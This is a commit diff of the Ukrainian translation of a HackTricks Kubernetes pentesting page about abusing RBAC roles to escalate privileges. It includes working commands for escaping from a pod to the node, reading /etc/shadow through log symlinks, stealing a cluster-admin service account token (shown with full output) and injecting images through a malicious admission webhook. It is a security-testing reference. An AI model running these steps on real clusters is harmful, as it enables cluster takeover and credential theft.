mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-14 22:03:11 -08:00
Translated ['src/pentesting-cloud/kubernetes-security/abusing-roles-clus
This commit is contained in:
@@ -1,23 +1,23 @@
|
||||
# Зловживання ролями/кластерами в Kubernetes
|
||||
# Зловживання Ролями/КластерРолями в Kubernetes
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Тут ви можете знайти деякі потенційно небезпечні конфігурації Roles та ClusterRoles.\
|
||||
Тут ви можете знайти деякі потенційно небезпечні конфігурації Ролей та КластерРолей.\
|
||||
Пам'ятайте, що ви можете отримати всі підтримувані ресурси за допомогою `kubectl api-resources`
|
||||
|
||||
## **Ескалація привілеїв**
|
||||
## **Ескалація Привілеїв**
|
||||
|
||||
Це мистецтво отримання **доступу до іншого принципала** в кластері **з іншими привілеями** (в межах кластера kubernetes або до зовнішніх хмар), ніж ті, які ви вже маєте. У Kubernetes є в основному **4 основні техніки для ескалації привілеїв**:
|
||||
Це мистецтво отримання **доступу до іншого принципала** в кластері **з іншими привілеями** (в межах кластеру kubernetes або до зовнішніх хмар), в Kubernetes є в основному **4 основні техніки для ескалації привілеїв**:
|
||||
|
||||
- Можливість **вдаватись** в інших користувачів/груп/SA з кращими привілеями в межах кластера kubernetes або до зовнішніх хмар
|
||||
- Можливість **створювати/редагувати/виконувати pods**, де ви можете **знайти або приєднати SA** з кращими привілеями в межах кластера kubernetes або до зовнішніх хмар
|
||||
- Можливість **читати секрети**, оскільки токени SA зберігаються як секрети
|
||||
- Можливість **втекти на вузол** з контейнера, де ви можете вкрасти всі секрети контейнерів, що працюють на вузлі, облікові дані вузла та дозволи вузла в межах хмари, в якій він працює (якщо такі є)
|
||||
- П'ята техніка, яка заслуговує на згадку, - це можливість **запускати port-forward** в pod, оскільки ви можете отримати доступ до цікавих ресурсів у цьому pod.
|
||||
- Мати можливість **вдаватись** в інших користувачів/групи/SA з кращими привілеями в межах кластеру kubernetes або до зовнішніх хмар
|
||||
- Мати можливість **створювати/поправляти/виконувати поди**, де ви можете **знайти або приєднати SA** з кращими привілеями в межах кластеру kubernetes або до зовнішніх хмар
|
||||
- Мати можливість **читати секрети**, оскільки токени SA зберігаються як секрети
|
||||
- Мати можливість **втекти на вузол** з контейнера, де ви можете вкрасти всі секрети контейнерів, що працюють на вузлі, облікові дані вузла та дозволи вузла в межах хмари, в якій він працює (якщо такі є)
|
||||
- П'ята техніка, яка заслуговує на згадку, це можливість **запускати port-forward** в поді, оскільки ви можете отримати доступ до цікавих ресурсів в цьому поді.
|
||||
|
||||
### Доступ до будь-якого ресурсу або дієслова (Wildcard)
|
||||
### Доступ до Будь-якого Ресурсу або Дії (Wildcard)
|
||||
|
||||
**Джокер (\*) надає дозвіл на будь-який ресурс з будь-яким дієсловом**. Його використовують адміністратори. Усередині ClusterRole це означає, що зловмисник може зловживати будь-яким простором імен у кластері.
|
||||
**Дикий символ (\*) надає дозвіл на будь-який ресурс з будь-якою дією**. Його використовують адміністратори. Всередині КластерРолі це означає, що зловмисник може зловживати будь-яким простором імен у кластері.
|
||||
```yaml
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
@@ -49,7 +49,7 @@ verbs: ["create", "list", "get"]
|
||||
```
|
||||
### Pod Create - Steal Token
|
||||
|
||||
Атакуючий з правами на створення пода може прикріпити привілейований обліковий запис служби до пода та вкрасти токен для імітації облікового запису служби. Фактично підвищуючи привілеї до нього.
|
||||
Атакуючий з правами на створення пода може прикріпити привілейований обліковий запис служби до пода та вкрасти токен для підробки облікового запису служби. Фактично підвищуючи привілеї до нього.
|
||||
|
||||
Приклад пода, який вкраде токен облікового запису служби `bootstrap-signer` і надішле його атакуючому:
|
||||
```yaml
|
||||
@@ -76,7 +76,7 @@ hostNetwork: true
|
||||
|
||||
Наступне вказує на всі привілеї, які може мати контейнер:
|
||||
|
||||
- **Привілейований доступ** (вимкнення захисту та налаштування можливостей)
|
||||
- **Привілейований доступ** (вимкнення захистів і налаштування можливостей)
|
||||
- **Вимкнення простору імен hostIPC та hostPid**, що може допомогти в ескалації привілеїв
|
||||
- **Вимкнення простору імен hostNetwork**, що надає доступ для крадіжки привілеїв вузлів у хмарі та кращого доступу до мереж
|
||||
- **Монтування хостів / всередині контейнера**
|
||||
@@ -119,7 +119,7 @@ path: /
|
||||
```bash
|
||||
kubectl --token $token create -f mount_root.yaml
|
||||
```
|
||||
Однорядковий код з [цього твітту](https://twitter.com/mauilion/status/1129468485480751104) та з деякими доповненнями:
|
||||
Однорядковий з [цього твітту](https://twitter.com/mauilion/status/1129468485480751104) та з деякими доповненнями:
|
||||
```bash
|
||||
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
|
||||
```
|
||||
@@ -136,7 +136,7 @@ kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hos
|
||||
- **hostNetwork**
|
||||
- **hostIPC**
|
||||
|
||||
_Ви можете знайти приклад того, як створити/зловживати попередніми конфігураціями привілейованих подів у_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)
|
||||
_Ви можете знайти приклад того, як створити/зловживати попередніми конфігураціями привілейованих подів в_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)
|
||||
|
||||
### Створення пода - Перехід до хмари
|
||||
|
||||
@@ -199,19 +199,19 @@ kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
|
||||
```
|
||||
### port-forward
|
||||
|
||||
Ця дозволяє **перенаправити один локальний порт на один порт у вказаному поді**. Це призначено для того, щоб легко налагоджувати програми, що працюють всередині пода, але зловмисник може зловживати цим, щоб отримати доступ до цікавих (наприклад, БД) або вразливих програм (веб?) всередині пода:
|
||||
Ця дозволяє **перенаправити один локальний порт на один порт у вказаному поді**. Це призначено для того, щоб легко налагоджувати програми, що працюють всередині пода, але зловмисник може зловживати цим, щоб отримати доступ до цікавих (наприклад, БД) або вразливих програм (вебів?) всередині пода:
|
||||
```
|
||||
kubectl port-forward pod/mypod 5000:5000
|
||||
```
|
||||
### Hosts Writable /var/log/ Escape
|
||||
|
||||
Як [**вказано в цьому дослідженні**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), якщо ви можете отримати доступ або створити под з **підключеним каталогом `/var/log/` хосту**, ви можете **втекти з контейнера**.\
|
||||
Це в основному тому, що коли **Kube-API намагається отримати логи** контейнера (використовуючи `kubectl logs <pod>`), він **запитує файл `0.log`** пода, використовуючи кінцеву точку `/logs/` служби **Kubelet**.\
|
||||
Служба Kubelet відкриває кінцеву точку `/logs/`, яка в основному просто **відкриває файлову систему `/var/log` контейнера**.
|
||||
Як [**вказано в цьому дослідженні**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), якщо ви можете отримати доступ або створити под з **підключеним каталогом `/var/log/`** на ньому, ви можете **втекти з контейнера**.\
|
||||
Це в основному тому, що коли **Kube-API намагається отримати логи** контейнера (використовуючи `kubectl logs <pod>`), він **запитує файл `0.log`** пода, використовуючи `/logs/` кінцеву точку служби **Kubelet**.\
|
||||
Служба Kubelet відкриває кінцеву точку `/logs/`, яка в основному **відкриває файлову систему `/var/log` контейнера**.
|
||||
|
||||
Отже, зловмисник з **доступом на запис у папку /var/log/** контейнера може зловживати цією поведінкою 2 способами:
|
||||
|
||||
- Модифікація файлу `0.log` свого контейнера (зазвичай розташованого в `/var/logs/pods/namespace_pod_uid/container/0.log`), щоб він був **символічним посиланням на `/etc/shadow`**, наприклад. Тоді ви зможете ексфільтрувати файл тіней хостів, виконавши:
|
||||
- Модифікуючи файл `0.log` свого контейнера (зазвичай розташований у `/var/logs/pods/namespace_pod_uid/container/0.log`), щоб він був **символічним посиланням на `/etc/shadow`**, наприклад. Тоді ви зможете ексфільтрувати файл тіней хостів, виконавши:
|
||||
```bash
|
||||
kubectl logs escaper
|
||||
failed to get parse function: unsupported log format: "root::::::::\n"
|
||||
@@ -219,7 +219,7 @@ kubectl logs escaper --tail=2
|
||||
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
|
||||
# Keep incrementing tail to exfiltrate the whole file
|
||||
```
|
||||
- Якщо зловмисник контролює будь-який принципал з **дозволами на читання `nodes/log`**, він може просто створити **symlink** в `/host-mounted/var/log/sym` на `/` і коли **доступаючи до `https://<gateway>:10250/logs/sym/` він отримає список кореневої** файлової системи хоста (зміна symlink може надати доступ до файлів).
|
||||
- Якщо зловмисник контролює будь-який принципал з **дозволами на читання `nodes/log`**, він може просто створити **symlink** у `/host-mounted/var/log/sym` на `/` і коли **використовуючи `https://<gateway>:10250/logs/sym/` він отримає список кореневої** файлової системи хоста (зміна symlink може надати доступ до файлів).
|
||||
```bash
|
||||
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
|
||||
<a href="bin">bin</a>
|
||||
@@ -231,11 +231,11 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://
|
||||
<a href="lib">lib</a>
|
||||
[...]
|
||||
```
|
||||
**Лабораторія та автоматизований експлойт можна знайти в** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts)
|
||||
**Лабораторія та автоматизований експлойт можна знайти за** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts)
|
||||
|
||||
#### Обхід захисту readOnly <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
|
||||
Якщо вам пощастить, і високо привілейована можливість `CAP_SYS_ADMIN` доступна, ви можете просто змонтувати папку як rw:
|
||||
Якщо вам пощастить, і високо привілейована можливість `CAP_SYS_ADMIN` доступна, ви можете просто змонтувати папку з правами на запис:
|
||||
```bash
|
||||
mount -o rw,remount /hostlogs/
|
||||
```
|
||||
@@ -247,7 +247,7 @@ allowedHostPaths:
|
||||
- pathPrefix: "/foo"
|
||||
readOnly: true
|
||||
```
|
||||
Що мало на меті запобігти втечам, подібним до попередніх, замість використання хостового монту hostPath, використати PersistentVolume та PersistentVolumeClaim для монтування папки хоста в контейнер з правами на запис:
|
||||
Що мало на меті запобігти втечам, подібним до попередніх, шляхом використання не hostPath mount, а PersistentVolume та PersistentVolumeClaim для монтування папки хоста в контейнер з правами на запис:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: PersistentVolume
|
||||
@@ -293,11 +293,11 @@ volumeMounts:
|
||||
- mountPath: "/hostlogs"
|
||||
name: task-pv-storage-vol
|
||||
```
|
||||
### **Імітація привілейованих облікових записів**
|
||||
### **Видавання себе за привілейовані облікові записи**
|
||||
|
||||
З привілеєм [**імітації користувача**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) зловмисник може імітувати привілейований обліковий запис.
|
||||
З привілеєм [**видавання себе за користувача**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) зловмисник може видати себе за привілейований обліковий запис.
|
||||
|
||||
Просто використовуйте параметр `--as=<username>` в команді `kubectl`, щоб імітувати користувача, або `--as-group=<group>`, щоб імітувати групу:
|
||||
Просто використовуйте параметр `--as=<username>` в команді `kubectl`, щоб видати себе за користувача, або `--as-group=<group>`, щоб видати себе за групу:
|
||||
```bash
|
||||
kubectl get pods --as=system:serviceaccount:kube-system:default
|
||||
kubectl get secrets --as=null --as-group=system:masters
|
||||
@@ -310,25 +310,88 @@ curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
|
||||
-H "Accept: application/json" \
|
||||
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
```
|
||||
### Перелік секретів
|
||||
### Listing Secrets
|
||||
|
||||
Дозвіл на **перелік секретів може дозволити зловмиснику фактично прочитати секрети**, отримуючи доступ до REST API кінцевої точки:
|
||||
Дозвіл на **перегляд секретів може дозволити зловмиснику фактично прочитати секрети**, отримуючи доступ до REST API кінцевої точки:
|
||||
```bash
|
||||
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
```
|
||||
### Створення та читання секретів
|
||||
|
||||
Існує особливий вид секрету Kubernetes типу **kubernetes.io/service-account-token**, який зберігає токени облікових записів служби. Якщо у вас є дозволи на створення та читання секретів, і ви також знаєте ім'я облікового запису служби, ви можете створити секрет наступним чином, а потім вкрасти токен облікового запису служби жертви з нього:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Secret
|
||||
metadata:
|
||||
name: stolen-admin-sa-token
|
||||
namespace: default
|
||||
annotations:
|
||||
kubernetes.io/service-account.name: cluster-admin-sa
|
||||
type: kubernetes.io/service-account-token
|
||||
```
|
||||
Приклад експлуатації:
|
||||
```bash
|
||||
$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)
|
||||
|
||||
$ kubectl auth can-i --list --token=$SECRETS_MANAGER_TOKEN
|
||||
Warning: the list may be incomplete: webhook authorizer does not support user rule resolution
|
||||
Resources Non-Resource URLs Resource Names Verbs
|
||||
selfsubjectreviews.authentication.k8s.io [] [] [create]
|
||||
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
|
||||
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
|
||||
secrets [] [] [get create]
|
||||
[/.well-known/openid-configuration/] [] [get]
|
||||
<SNIP>
|
||||
[/version] [] [get]
|
||||
|
||||
$ kubectl create token cluster-admin-sa --token=$SECRETS_MANAGER_TOKEN
|
||||
error: failed to create token: serviceaccounts "cluster-admin-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot create resource "serviceaccounts/token" in API group "" in the namespace "default"
|
||||
|
||||
$ kubectl get pods --token=$SECRETS_MANAGER_TOKEN --as=system:serviceaccount:default:secrets-manager-sa
|
||||
Error from server (Forbidden): serviceaccounts "secrets-manager-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot impersonate resource "serviceaccounts" in API group "" in the namespace "default"
|
||||
|
||||
$ kubectl apply -f ./secret-that-steals-another-sa-token.yaml --token=$SECRETS_MANAGER_TOKEN
|
||||
secret/stolen-admin-sa-token created
|
||||
|
||||
$ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o json
|
||||
{
|
||||
"apiVersion": "v1",
|
||||
"data": {
|
||||
"ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FU<SNIP>UlRJRklDQVRFLS0tLS0K",
|
||||
"namespace": "ZGVmYXVsdA==",
|
||||
"token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWk<SNIP>jYkowNWlCYjViMEJUSE1NcUNIY0h4QTg2aXc="
|
||||
},
|
||||
"kind": "Secret",
|
||||
"metadata": {
|
||||
"annotations": {
|
||||
"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\n",
|
||||
"kubernetes.io/service-account.name": "cluster-admin-sa",
|
||||
"kubernetes.io/service-account.uid": "faf97f14-1102-4cb9-9ee0-857a6695973f"
|
||||
},
|
||||
"creationTimestamp": "2025-01-11T13:02:27Z",
|
||||
"name": "stolen-admin-sa-token",
|
||||
"namespace": "default",
|
||||
"resourceVersion": "1019116",
|
||||
"uid": "680d119f-89d0-4fc6-8eef-1396600d7556"
|
||||
},
|
||||
"type": "kubernetes.io/service-account-token"
|
||||
}
|
||||
```
|
||||
Зверніть увагу, що якщо вам дозволено створювати та читати секрети в певному просторі імен, обліковий запис служби жертви також повинен бути в тому ж просторі імен.
|
||||
|
||||
### Читання секрету – брутфорсинг ID токенів
|
||||
|
||||
Хоча зловмисник, що має токен з правами на читання, потребує точну назву секрету для його використання, на відміну від ширшого привілею _**переліку секретів**_, все ще існують вразливості. За замовчуванням облікові записи служб у системі можуть бути перераховані, кожен з яких асоційований з секретом. Ці секрети мають структуру назви: статичний префікс, за яким слідує випадковий алфавітно-цифровий токен з п'яти символів (за винятком певних символів) відповідно до [джерела коду](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
|
||||
Хоча зловмисник, що має токен з правами на читання, потребує точну назву секрету для його використання, на відміну від ширшого привілею _**переліку секретів**_, все ще існують вразливості. За замовчуванням облікові записи служб у системі можуть бути перераховані, кожен з яких пов'язаний з секретом. Ці секрети мають структуру назви: статичний префікс, за яким слідує випадковий п'ятисимвольний алфавітно-цифровий токен (за винятком певних символів) відповідно до [джерела коду](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
|
||||
|
||||
Токен генерується з обмеженого набору з 27 символів (`bcdfghjklmnpqrstvwxz2456789`), а не з повного алфавітно-цифрового діапазону. Це обмеження зменшує загальну кількість можливих комбінацій до 14,348,907 (27^5). Відповідно, зловмисник може здійснити брутфорс-атаку, щоб вивести токен за кілька годин, що потенційно призведе до ескалації привілеїв шляхом доступу до чутливих облікових записів служб.
|
||||
|
||||
### Запити на підписання сертифікатів
|
||||
|
||||
Якщо у вас є дієслова **`create`** в ресурсі `certificatesigningrequests` (або принаймні в `certificatesigningrequests/nodeClient`). Ви можете **створити** новий CeSR для **нового вузла.**
|
||||
Якщо у вас є дієслова **`create`** в ресурсі `certificatesigningrequests` (або принаймні в `certificatesigningrequests/nodeClient`). Ви можете **створити** новий CeSR для **нового вузла**.
|
||||
|
||||
Згідно з [документацією, можливо автоматично схвалити ці запити](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), тому в цьому випадку вам **не потрібні додаткові дозволи**. Якщо ні, вам потрібно буде мати можливість схвалити запит, що означає оновлення в `certificatesigningrequests/approval` та `approve` в `signers` з resourceName `<signerNameDomain>/<signerNamePath>` або `<signerNameDomain>/*`
|
||||
|
||||
Приклад **ролі** з усіма необхідними дозволами:
|
||||
**Приклад ролі** з усіма необхідними дозволами:
|
||||
```yaml
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
@@ -359,9 +422,9 @@ resourceNames:
|
||||
verbs:
|
||||
- approve
|
||||
```
|
||||
Отже, з новим затвердженим CSR вузла, ви можете **зловживати** спеціальними правами вузлів, щоб **вкрасти секрети** та **підвищити привілеї**.
|
||||
Отже, з новим затвердженим CSR вузла ви можете **зловживати** спеціальними правами вузлів, щоб **викрасти секрети** та **підвищити привілеї**.
|
||||
|
||||
У [**цьому пості**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) та [**цьому**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) конфігурація GKE K8s TLS Bootstrap налаштована з **автоматичним підписанням**, і її зловживають для генерації облікових даних нового вузла K8s, а потім зловживають цими даними для підвищення привілеїв шляхом крадіжки секретів.\
|
||||
У [**цьому пості**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) та [**цьому**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) конфігурація GKE K8s TLS Bootstrap налаштована з **автоматичним підписанням**, і це зловживається для генерації облікових даних нового вузла K8s, а потім зловживається для підвищення привілеїв шляхом викрадення секретів.\
|
||||
Якщо ви **маєте згадані привілеї, ви могли б зробити те ж саме**. Зверніть увагу, що перший приклад обминає помилку, яка заважає новому вузлу отримувати доступ до секретів всередині контейнерів, оскільки **вузол може отримувати доступ лише до секретів контейнерів, змонтованих на ньому.**
|
||||
|
||||
Спосіб обійти це - просто **створити облікові дані вузла для імені вузла, де змонтовано контейнер з цікавими секретами** (але просто перевірте, як це зробити в першому пості):
|
||||
@@ -414,14 +477,14 @@ groups:
|
||||
> Ви можете використовувати **`aws-auth`** для **постійності**, надаючи доступ користувачам з **інших облікових записів**.
|
||||
>
|
||||
> Однак, `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **не працює з іншого облікового запису**. Але насправді `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` працює, якщо ви введете ARN кластера замість просто назви.\
|
||||
> Щоб `kubectl` працював, просто переконайтеся, що **налаштували** **kubeconfig жертви** і в аргументах aws exec додайте `--profile other_account_role`, щоб kubectl використовував профіль іншого облікового запису для отримання токена та зв'язку з AWS.
|
||||
> Щоб `kubectl` працював, просто переконайтеся, що **налаштували** **kubeconfig жертви** і в аргументах exec aws додайте `--profile other_account_role`, щоб kubectl використовував профіль іншого облікового запису для отримання токена та зв'язку з AWS.
|
||||
|
||||
### Ескалація в GKE
|
||||
|
||||
Є **2 способи призначити K8s дозволи для GCP принципів**. У будь-якому випадку принцип також потребує дозволу **`container.clusters.get`**, щоб мати можливість отримати облікові дані для доступу до кластера, або вам потрібно буде **згенерувати свій власний файл конфігурації kubectl** (перейдіть за наступним посиланням).
|
||||
|
||||
> [!WARNING]
|
||||
> Коли ви спілкуєтеся з кінцевою точкою K8s api, **токен автентифікації GCP буде надіслано**. Потім GCP, через кінцеву точку K8s api, спочатку **перевірить, чи має принцип** (за електронною поштою) **доступ всередині кластера**, потім перевірить, чи має він **будь-який доступ через GCP IAM**.\
|
||||
> Коли ви спілкуєтеся з кінцевою точкою K8s api, **токен автентифікації GCP буде надіслано**. Потім GCP, через кінцеву точку K8s api, спочатку **перевірить, чи має принцип** (за електронною поштою) **доступ до кластера**, потім перевірить, чи має він **будь-який доступ через GCP IAM**.\
|
||||
> Якщо **будь-який** з цих пунктів **істинний**, він отримає **відповідь**. Якщо **ні**, буде надана **помилка**, що пропонує надати **дозволи через GCP IAM**.
|
||||
|
||||
Отже, перший метод - це використання **GCP IAM**, дозволи K8s мають свої **еквівалентні дозволи GCP IAM**, і якщо принцип має їх, він зможе їх використовувати.
|
||||
@@ -442,13 +505,13 @@ groups:
|
||||
|
||||
### ValidatingWebhookConfigurations або MutatingWebhookConfigurations
|
||||
|
||||
Принципи з будь-якими з дієслів `create`, `update` або `patch` над `validatingwebhookconfigurations` або `mutatingwebhookconfigurations` можуть бути здатні **створити одну з таких webhookconfigurations**, щоб мати можливість **ескалювати привілеї**.
|
||||
Принципи з будь-якими з дієслів `create`, `update` або `patch` над `validatingwebhookconfigurations` або `mutatingwebhookconfigurations` можуть бути здатні **створити одну з таких webhookconfigurations**, щоб мати можливість **ескалації привілеїв**.
|
||||
|
||||
Для прикладу [`mutatingwebhookconfigurations` перегляньте цей розділ цього посту](./#malicious-admission-controller).
|
||||
Для [`mutatingwebhookconfigurations` прикладу перевірте цей розділ цього посту](#malicious-admission-controller).
|
||||
|
||||
### Ескалація
|
||||
|
||||
Як ви можете прочитати в наступному розділі: [**Вбудоване запобігання ескалації привілеїв**](./#built-in-privileged-escalation-prevention), принцип не може оновлювати або створювати ролі чи кластерні ролі, не маючи самих цих нових дозволів. За винятком випадків, коли він має **дієслово `escalate`** над **`roles`** або **`clusterroles`**.\
|
||||
Як ви можете прочитати в наступному розділі: [**Вбудоване запобігання ескалації привілеїв**](#built-in-privileged-escalation-prevention), принцип не може оновлювати або створювати ролі чи кластерні ролі без наявності у себе цих нових дозволів. За винятком випадків, коли він має **дієслово `escalate`** над **`roles`** або **`clusterroles`**.\
|
||||
Тоді він може оновлювати/створювати нові ролі, кластерні ролі з кращими дозволами, ніж ті, що у нього є.
|
||||
|
||||
### Проксі вузлів
|
||||
@@ -459,11 +522,11 @@ groups:
|
||||
../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
|
||||
{{#endref}}
|
||||
|
||||
У вас є приклад того, як отримати [**RCE, спілкуючись з авторизованим Kubelet API тут**](../pentesting-kubernetes-services/#kubelet-rce).
|
||||
У вас є приклад того, як отримати [**RCE, спілкуючись з авторизованим Kubelet API тут**](../pentesting-kubernetes-services/index.html#kubelet-rce).
|
||||
|
||||
### Видалення подів + незаплановані вузли
|
||||
|
||||
Принципи, які можуть **видаляти поди** (`delete` дієслово над ресурсом `pods`), або **виселяти поди** (`create` дієслово над ресурсом `pods/eviction`), або **змінювати статус пода** (доступ до `pods/status`) і можуть **зробити інші вузли незапланованими** (доступ до `nodes/status`) або **видаляти вузли** (`delete` дієслово над ресурсом `nodes`) і мають контроль над подом, можуть **вкрасти поди з інших вузлів**, щоб вони були **виконані** на **зламаному** **вузлі**, і зловмисник може **вкрасти токени** з цих подів.
|
||||
Принципи, які можуть **видаляти поди** (`delete` дієслово над ресурсом `pods`), або **виселяти поди** (`create` дієслово над ресурсом `pods/eviction`), або **змінювати статус пода** (доступ до `pods/status`) і можуть **зробити інші вузли незапланованими** (доступ до `nodes/status`) або **видаляти вузли** (`delete` дієслово над ресурсом `nodes`) і мають контроль над подом, можуть **вкрасти поди з інших вузлів**, щоб вони були **виконані** в **зламаному** **вузлі**, і зловмисник може **вкрасти токени** з цих подів.
|
||||
```bash
|
||||
patch_node_capacity(){
|
||||
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
|
||||
@@ -476,11 +539,11 @@ kubectl delete pods -n kube-system <privileged_pod_name>
|
||||
```
|
||||
### Стан сервісів (CVE-2020-8554)
|
||||
|
||||
Принципали, які можуть **модифікувати** **`services/status`**, можуть встановити поле `status.loadBalancer.ingress.ip`, щоб експлуатувати **неусунуту уразливість CVE-2020-8554** та запускати **MiTM атаки проти кластера**. Більшість заходів щодо пом'якшення CVE-2020-8554 лише запобігають сервісам ExternalIP (згідно з [**цим**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
|
||||
Принципали, які можуть **модифікувати** **`services/status`**, можуть встановити поле `status.loadBalancer.ingress.ip`, щоб експлуатувати **неусунуту CVE-2020-8554** та запускати **MiTM атаки проти кластера**. Більшість заходів щодо пом'якшення CVE-2020-8554 лише запобігають сервісам ExternalIP (згідно з [**цим**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
|
||||
|
||||
### Стан вузлів і подів
|
||||
|
||||
Принципали з правами **`update`** або **`patch`** над `nodes/status` або `pods/status` можуть модифікувати мітки, щоб вплинути на обмеження планування.
|
||||
Принципали з **`update`** або **`patch`** дозволами на `nodes/status` або `pods/status` можуть модифікувати мітки, щоб вплинути на обмеження планування.
|
||||
|
||||
## Вбудоване запобігання ескалації привілеїв
|
||||
|
||||
@@ -554,7 +617,7 @@ kubectl logs app -C proxy
|
||||
|
||||
Admission controller **перехоплює запити до сервера API Kubernetes** перед збереженням об'єкта, але **після того, як запит аутентифіковано** **та авторизовано**.
|
||||
|
||||
Якщо зловмиснику вдасться **впровадити Mutationg Admission Controller**, він зможе **модифікувати вже аутентифіковані запити**. Це може призвести до потенційного підвищення привілеїв, а також, зазвичай, до збереження в кластері.
|
||||
Якщо зловмиснику вдасться **впровадити Mutationg Admission Controller**, він зможе **модифікувати вже аутентифіковані запити**. Це може дозволити потенційно підвищити привілеї, а зазвичай і зберігатися в кластері.
|
||||
|
||||
**Приклад з** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
|
||||
```bash
|
||||
@@ -570,12 +633,12 @@ kubectl get deploy,svc -n webhook-demo
|
||||
```
|
||||

|
||||
|
||||
Тоді розгорніть новий под:
|
||||
Тоді розгорніть новий pod:
|
||||
```bash
|
||||
kubectl run nginx --image nginx
|
||||
kubectl get po -w
|
||||
```
|
||||
Коли ви бачите помилку `ErrImagePull`, перевірте назву зображення за допомогою одного з запитів:
|
||||
Коли ви бачите помилку `ErrImagePull`, перевірте ім'я зображення за допомогою одного з запитів:
|
||||
```bash
|
||||
kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
|
||||
kubectl describe po nginx | grep "Image: "
|
||||
@@ -586,7 +649,7 @@ kubectl describe po nginx | grep "Image: "
|
||||
|
||||
#### Technicalities <a href="#heading-technicalities" id="heading-technicalities"></a>
|
||||
|
||||
Скрипт `./deploy.sh` встановлює контролер доступу до вебхуків, який змінює запити до API Kubernetes відповідно до його конфігураційних рядків, впливаючи на спостережувані результати:
|
||||
Скрипт `./deploy.sh` встановлює контролер доступу до вебхуків, який модифікує запити до API Kubernetes відповідно до його конфігураційних рядків, впливаючи на спостережувані результати:
|
||||
```
|
||||
patches = append(patches, patchOperation{
|
||||
Op: "replace",
|
||||
@@ -594,9 +657,9 @@ Path: "/spec/containers/0/image",
|
||||
Value: "rewanthtammana/malicious-image",
|
||||
})
|
||||
```
|
||||
Вищезазначений фрагмент замінює перше зображення контейнера в кожному поді на `rewanthtammana/malicious-image`.
|
||||
Вищенаведений фрагмент замінює перше зображення контейнера в кожному поді на `rewanthtammana/malicious-image`.
|
||||
|
||||
## OPA Gatekeeper обхід
|
||||
## OPA Gatekeeper обход
|
||||
|
||||
{{#ref}}
|
||||
../kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md
|
||||
@@ -606,7 +669,7 @@ Value: "rewanthtammana/malicious-image",
|
||||
|
||||
